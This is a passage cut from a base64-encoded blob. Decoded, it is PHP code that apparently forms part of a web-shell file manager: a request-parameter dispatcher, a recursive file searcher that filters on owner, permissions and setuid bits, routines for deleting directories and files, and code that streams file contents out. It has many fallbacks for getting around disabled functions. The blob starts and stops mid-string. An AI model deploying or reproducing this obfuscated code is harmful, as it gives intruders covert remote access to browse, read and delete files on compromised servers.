wYWNrKCdWJywgJHMpLCBwYWNrKCdWJywgJHRoaXMtPl9jZHNvKSwgcGFjaygndicsIHN0cmxlbigkYykpLCAkYzsKCSAgICAgICAgc0RpZSgpOwoJICAgIH0KfQoJCmZ1bmN0aW9uIHBhY2tUaW1lKCR2KSB7CiAgICAkdiA9IGdldGRhdGUoJHYpOwogICAgcmV0dXJuIHBhY2soJ3Z2JywgKCgkdlsnaG91cnMnXSA8PCAxMSkgKyAoJHZbJ21pbnV0ZXMnXSA8PCA1KSArICR2WydzZWNvbmRzJ10gPj4gMSksICgoKCR2Wyd5ZWFyJ10gLSAxOTgwKSA8PCA5KSArICgkdlsnbW9uJ10gPDwgNSkgKyAkdlsnbWRheSddKSk7Cn0KCmlmICghZGVmaW5lZCgnUEhQX0lOVF9NQVgnKSkKICAgIGRlZmluZSgnUEhQX0lOVF9NQVgnLCBpbnR2YWwoJzEwMDAwMDAwMDAwMDAwMDAwMDAwJykpOwogICAgCmZ1bmN0aW9uIHppcENhbGMoJGJ1ZmYpIHsKICAgIHN0YXRpYyAkY3JjVGJsID0gTlVMTCwgJGNoclRibCA9IE5VTEwsICRkYXRhU2l6ZSA9IDAsICRjcmNTdW0gPSAweGZmZmZmZmZmLCAkc2hmdEZpeCA9IDA7CiAgICBpZiAoJGNyY1RibCA9PT0gTlVMTCkgewogICAgICAgICRzaGZ0Rml4ID0gUEhQX0lOVF9NQVggPj4gMDsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAyNTY7ICsrJGkpIHsKICAgICAgICAgICAgJHYgPSAkaTsKICAgICAgICAgICAgZm9yICgkaiA9IDg7ICRqOyAtLSRqKQogICAgICAgICAgICAgICAgJHYgPSAkdiAmIDEgPyAkdiA+PiAxICYgJHNoZnRGaXggXiAweEVEQjg4MzIwIDogJHYgPj4gMSAmICRzaGZ0Rml4OwogICAgICAgICAgICAkY3JjVGJsW10gICAgICAgID0gJHY7CiAgICAgICAgICAgICRjaHJUYmxbY2hyKCRpKV0gPSAkaTsKICAgICAgICB9CiAgICAgICAgJHNoZnRGaXggPSBQSFBfSU5UX01BWCA+PiA3OwogICAgfSBlbHNlaWYgKCRidWZmID09PSBOVUxMKSB7CiAgICAgICAgJHYgICAgICAgID0gYXJyYXkoCiAgICAgICAgICAgICRkYXRhU2l6ZSwKICAgICAgICAgICAgJGNyY1N1bQogICAgICAgICk7CiAgICAgICAgJGRhdGFTaXplID0gMDsKICAgICAgICAkY3JjU3VtICAgPSAweGZmZmZmZmZmOwogICAgICAgIHJldHVybiAkdjsKICAgIH0KICAgICRjID0gc3RybGVuKCRidWZmKTsKICAgICRkYXRhU2l6ZSArPSAkYzsKICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjOyArKyRpKQogICAgICAgICRjcmNTdW0gPSAkY3JjVGJsWyRjcmNTdW0gJiAweEZGIF4gJGNoclRibFskYnVmZlskaV1dXSBeICRjcmNTdW0gPj4gOCAmICRzaGZ0Rml4OwogICAgcmV0dXJuICRidWZmOwp9CgpmdW5jdGlvbiBqc29uRWNobygkdikgewogICAgc3RhdGljICRzID0gTlVMTCwgJHIgPSBOVUxMOwogICAgaWYgKCRzID09PSBOVUxMKSB7CiAgICAgICAgJHMgPSBhcnJheSgKICAgICAgICAgICAgJ1xcJywKICAgICAgICAgICAgJyInCiAgICAgICAgKTsKICAgICAgICAkciA9IGFycmF5KAogICAgICAgICAgICAnXHUwMDVjJywKICAgICAgICAgICAgJ1x1MDAyMicKICAgICAgICApOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAweDFGOyArKyRpKSB7CiAgICAgICAgICAgICRzW10gPSBjaHIoJGkpOwogICAgICAgICAgICAkcltdID0gc3ByaW50ZignXHUwMCUwMnMnLCBkZWNoZXgoJGkpKTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICR2ID09PSBOVUxMID8gJyJOVUxMIicgOiAnIicgLiBzdHJfcmVwbGFjZSgkcywgJHIsICR2KSAuICciJzsKfQoKc3dpdGNoICgkRFsnYSddKSB7CiAgICBjYXNlICdmJzoKICAgICAgICBmdW5jdGlvbiB0ZXN0UHJvcCgkYSwgJHYpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJGkpCiAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGkpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRpKSA9PT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPiAkaVswXSAmJiAkdiA8ICRpWzFdKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRpWzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPiAkaVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkdiA8ICRpWzFdKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkdiA9PT0gJGkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICB9CiAgICAgICAgY2xhc3MgU2VhcmNoZXIgewogICAgICAgICAgICB2YXIgJGYsICRkLCAkcCwgJGE7CiAgICAgICAgICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCR2KSB7CiAgICAgICAgICAgICAgICBlY2hvICd7ImYiOlsnOwogICAgICAgICAgICAgICAgJHRoaXMtPmYgPSAkdjsKICAgICAgICAgICAgICAgICR0aGlzLT5kID0gMDsKICAgICAgICAgICAgICAgICR0aGlzLT5wID0gTlVMTDsKICAgICAgICAgICAgICAgICR0aGlzLT5hID0gYXJyYXkoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmaWx0ZXIoJHYpIHsKICAgICAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCR2KTsKICAgICAgICAgICAgICAgICRrID0gJGktPmdldEZpbGVOYW1lKCk7CiAgICAgICAgICAgICAgICAkZiA9ICR0aGlzLT5mOwogICAgICAgICAgICAgICAgaWYgKCRrID09PSAnLicgfHwgJGsgPT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgaWYgKCRpLT5pc0xpbmsoKSAmJiAhaXNzZXQoJGZbJ2wnXSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgJGIgPSAkaS0+aXNEaXIoKTsKICAgICAgICAgICAgICAgIGlmICgkYiAmJiAoIWlzc2V0KCRmWydkJ10pIHx8ICRmWydkJ10gPiAkdGhpcy0+ZCkpCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmFbXSA9ICR2OwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRmWyd5J10pICYmICgkZlsneSddID09PSAxID8gISRiIDogJGIpKQogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkZlsncCddKSAmJiAkaS0+Z2V0TW9kZSgpIDwgJGZbJ3AnXSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoISRiICYmIGlzc2V0KCRmWyd1J10pICYmICgkaS0+Z2V0UGVybXMoKSAmIDAwMDcwMDApICE9PSAwMDA0MDAwKQogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkZlsnbiddKSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkayAhPT0gJGZbJ24nXSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRmWydpJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmNhc2VjbXAoJGssICRmWydpJ10pICE9PSAwKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJGZbJ3InXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJGZbJ3InXSwgJGspKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ28nXSkgJiYgIXRlc3RQcm9wKCRmWydvJ10sICRpLT5nZXRPd25lcigpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ2cnXSkgJiYgIXRlc3RQcm9wKCRmWydnJ10sICRpLT5nZXRHcm91cCgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ2UnXSkgJiYgIXRlc3RQcm9wKCRmWydlJ10sICRpLT5nZXRDVGltZSgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ20nXSkgJiYgIXRlc3RQcm9wKCRmWydtJ10sICRpLT5nZXRNVGltZSgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoISRiICYmIGlzc2V0KCRmWyd6J10pICYmICF0ZXN0UHJvcCgkZlsneiddLCAkaS0+Z2V0U2l6ZSgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoISRiICYmIChpc3NldCgkZlsndCddKSB8fCBpc3NldCgkZlsndiddKSB8fCBpc3NldCgkZlsneCddKSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkayA9IGdldEZpbGUoJHYpKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkZlsndCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRrLCAkZlsndCddKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRmWyd2J10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJpc3RyKCRrLCAkZlsndiddKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCFwcmVnX21hdGNoKCRmWyd4J10sICRrKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGsgPSAkaS0+Z2V0UGF0aCgpOwogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5wICE9PSAkaykgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cCAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnXX0sJzsKICAgICAgICAgICAgICAgICAgICBlY2hvICd7InAiOic7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJGspOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5wID0gJGs7CiAgICAgICAgICAgICAgICAgICAgJGsgICAgICAgPSBuZXcgRmlsZUluZm8oJGspOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJywibSI6JywgJGstPmdldE1vZGUoKSwgJywiZiI6Wyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBvdXRGaWxlSW5mbygkaSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoKCR2KSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+YSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBkaXJSZWFkKCR2LCBhcnJheSgKICAgICAgICAgICAgICAgICAgICAmJHRoaXMsCiAgICAgICAgICAgICAgICAgICAgJ2ZpbHRlcicKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZlsnZCddKSB8fCAkdGhpcy0+ZlsnZCddID4gJHRoaXMtPmQpIHsKICAgICAgICAgICAgICAgICAgICArKyR0aGlzLT5kOwogICAgICAgICAgICAgICAgICAgICRhID0gJHRoaXMtPmE7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZWFyY2goJHYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZpbmlzaCgpIHsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cCAhPT0gTlVMTCkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ119XSc7CiAgICAgICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oTlVMTCwgVFJVRSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBkaXJSZWFkKCRwLCAkZikgewogICAgICAgICAgICAkYiA9IGlzX3N0cmluZygkZik7CiAgICAgICAgICAgIGlmIChzdWJzdHIoJHAsIC0xKSAhPT0gRFNDKQogICAgICAgICAgICAgICAgJHAgLj0gRFNDOwogICAgICAgICAgICBpZiAoJHYgPSBvcGVuZGlyKCRwKSkgewogICAgICAgICAgICAgICAgd2hpbGUgKCgkaSA9IHJlYWRkaXIoJHYpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpICE9PSAnLicgJiYgJGkgIT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICRiID8gJGYoJHAgLiAkaSkgOiAkZlswXS0+eyRmWzFdfSgkcCAuICRpKTsKICAgICAgICAgICAgICAgIGNsb3NlZGlyKCR2KTsKICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdiA9IGRpcigkcCkpIHsKICAgICAgICAgICAgICAgIHdoaWxlICgoJGkgPSAkdi0+cmVhZCgpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpICE9PSAnLicgJiYgJGkgIT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICRiID8gJGYoJHAgLiAkaSkgOiAkZlswXS0+eyRmWzFdfSgkcCAuICRpKTsKICAgICAgICAgICAgICAgICR2LT5jbG9zZSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IERpcmVjdG9yeUl0ZXJhdG9yKCRwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAkdiA9IEZBTFNFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR2KSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJGkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkaS0+Z2V0RmlsZU5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuICE9PSAnLicgJiYgJG4gIT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYiA/ICRmKCRpKSA6ICRmWzBdLT57JGZbMV19KCRpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGksICR2KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgICR2ID0gRkFMU0U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHYpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPyAkZigkaSkgOiAkZlswXS0+eyRmWzFdfSgkaSk7CiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGksICR2KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4zJykgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IEZpbGVzeXN0ZW1JdGVyYXRvcigkcCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGIgPyAkZigkaSkgOiAkZlswXS0+eyRmWzFdfSgkaSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpLCAkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR2ID0gZGVmaW5lZCgnU0NBTkRJUl9TT1JUX05PTkUnKSA/IHNjYW5kaXIoJHAsIFNDQU5ESVJfU09SVF9OT05FKSA6IHNjYW5kaXIoJHApOwogICAgICAgICAgICAgICAgaWYgKCR2ICE9PSBGQUxTRSkgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT09ICcuJyAmJiAkaSAhPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID8gJGYoJHAgLiAkaSkgOiAkZlswXS0+eyRmWzFdfSgkcCAuICRpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgZW5kaWY7CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4zJyAmJiBkZWZpbmVkKCdHTE9CX0JSQUNFJykgJiYgKCR2ID0gZ2xvYigkcCAuIERTQyAuICd7LC59KicsIEdMT0JfTk9FU0NBUEUgfCBHTE9CX05PU09SVCB8IEdMT0JfQlJBQ0UpKSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJGkpIHsKICAgICAgICAgICAgICAgICAgICAkbiA9IGZpbGVOYW1lKCRpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJG4gIT09ICcuJyAmJiAkbiAhPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPyAkZigkaSkgOiAkZlswXS0+eyRmWzFdfSgkaSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4zJykgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IEdsb2JJdGVyYXRvcigkcCAuICcqJyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ICYmIGNvdW50KCR2KSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYiA/ICRmKCRpKSA6ICRmWzBdLT57JGZbMV19KCRpKTsKICAgICAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGksICR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBlbmRpZjsKICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBkZWxEaXIoJHApIHsKICAgICAgICAgICAgZGlyUmVhZCgkcCwgJ2RlbEZPRCcpOwogICAgICAgICAgICByZXR1cm4gcm1kaXIoJHApOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBkZWxGT0QoJGYpIHsKICAgICAgICAgICAgJGYgPSBuZXcgRmlsZUluZm8oJGYpOwogICAgICAgICAgICAkbiA9ICRmLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICBpZiAoJG4gIT09ICcuJyAmJiAkbiAhPT0gJy4uJykKICAgICAgICAgICAgICAgIHJldHVybiAoISRmLT5pc0xpbmsoKSAmJiAkZi0+aXNEaXIoKSkgPyBkZWxEaXIoJGYtPmdldFBhdGhOYW1lKCkpIDogZGVsRmlsZSgkZi0+Z2V0UGF0aE5hbWUoKSk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGlzSW50KCR2KSB7CiAgICAgICAgICAgIHJldHVybiAoc3RyaW5nKSAkdiA9PT0gKHN0cmluZykgKGludCkgJHY7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGpzb25GaWxlSW5mbygkZiwgJGIpIHsKICAgICAgICAgICAgZWNobyAnWyc7CiAgICAgICAgICAgIGpzb25FY2hvKCRiID8gJGYtPmdldFBhdGhOYW1lKCkgOiAkZi0+Z2V0RmlsZU5hbWUoKSk7CiAgICAgICAgICAgIGVjaG8gJywnLCAkZi0+aXNEaXIoKSA/ICdudWxsJyA6ICRmLT5nZXRTaXplKCksICcsJywgKFRNID8gJGYtPmdldENUaW1lKCkgOiAkZi0+Z2V0TVRpbWUoKSksICcsJywgJGYtPmdldE1vZGUoKSwgJywiJywgJGYtPmdldFBlcm1zKCksICciJzsKICAgICAgICAgICAgaWYgKE5JWCkgewogICAgICAgICAgICAgICAgZWNobyAnLCcsICRmLT5nZXRPd25lcigpLCAnLCcsICRmLT5nZXRHcm91cCgpOwogICAgICAgICAgICAgICAgaWYgKCRiKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8odU5hbWUoJGYtPmdldE93bmVyKCkpKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhnTmFtZSgkZi0+Z2V0R3JvdXAoKSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZi0+aXNMaW5rKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAganNvbkVjaG8oJGYtPmdldExpbmtUYXJnZXQoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnXSc7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG91dEZpbGVJbmZvKCRmLCAkYiA9IE5VTEwpIHsKICAgICAgICAgICAgc3RhdGljICRwID0gTlVMTCwgJG8gPSBhcnJheSgpLCAkZyA9IGFycmF5KCk7CiAgICAgICAgICAgIGlmICgkYiA9PT0gVFJVRSkgewogICAgICAgICAgICAgICAgaWYgKCFOSVggfHwgY291bnQoJG8pID09PSAwKQogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgICRiID0gRkFMU0U7CiAgICAgICAgICAgICAgICBlY2hvICcsIm8iOnsnOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJG8gYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJyInLCAkaywgJyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyh1TmFtZSgkaykpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGVjaG8gJ30sImciOnsnOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGcgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJyInLCAkaywgJyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhnTmFtZSgkaykpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnfSc7CiAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRiID09PSBGQUxTRSkgewogICAgICAgICAgICAgICAgJHAgPSBOVUxMOwogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghaXNzZXQoJGYtPmZwKSkKICAgICAgICAgICAgICAgICRmID0gbmV3IEZpbGVJbmZvKCRmKTsKICAgICAgICAgICAgaWYgKCRwID09PSAkZi0+Z2V0UGF0aCgpKQogICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRwID0gJGYtPmdldFBhdGgoKTsKICAgICAgICAgICAganNvbkZpbGVJbmZvKCRmLCBGQUxTRSk7CiAgICAgICAgICAgIGlmIChOSVgpIHsKICAgICAgICAgICAgICAgICRvWyRmLT5nZXRPd25lcigpXSA9IDE7CiAgICAgICAgICAgICAgICAkZ1skZi0+Z2V0R3JvdXAoKV0gPSAxOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG91dEZpbGUoJHApIHsKCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvXC5neiQvaScsICRwKSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2ludChyZWFkZ3pmaWxlKCRwKSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmICgkdiA9IGd6b3BlbigkcCkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2ludChnenBhc3N0aHJ1KCR2KSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICghZ3plb2YoJHYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBnenJlYWQoJHYsIDEwNDg1NzYpOwogICAgICAgICAgICAgICAgICAgIGd6Y2xvc2UoJHYpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoJHYgPSBnemZpbGUoJHApKSB7CiAgICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkdikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQkJCQkJCQogICAgICAgICAgICBpZiAoUk8gJiYgaXNfaW50KHJlYWRmaWxlKCRwKSkpewogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CgkJCX0KCiAgICAgICAgICAgIGlmIChSTyAmJiBjb3B5KCRwLCAncGhwOi8vb3V0cHV0JykpCiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgCiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoJHYgPSBmb3BlbigkcCwgJ3JiJykpIHsKICAgICAgICAgICAgICAgIGlmICghaXNfaW50KGZwYXNzdGhydSgkdikpKQogICAgICAgICAgICAgICAgICAgIHdoaWxlICghZmVvZigkdikpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gZnJlYWQoJHYsIDEwNDg1NzYpOwogICAgICAgICAgICAgICAgZmNsb3NlKCR2KTsKICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgIC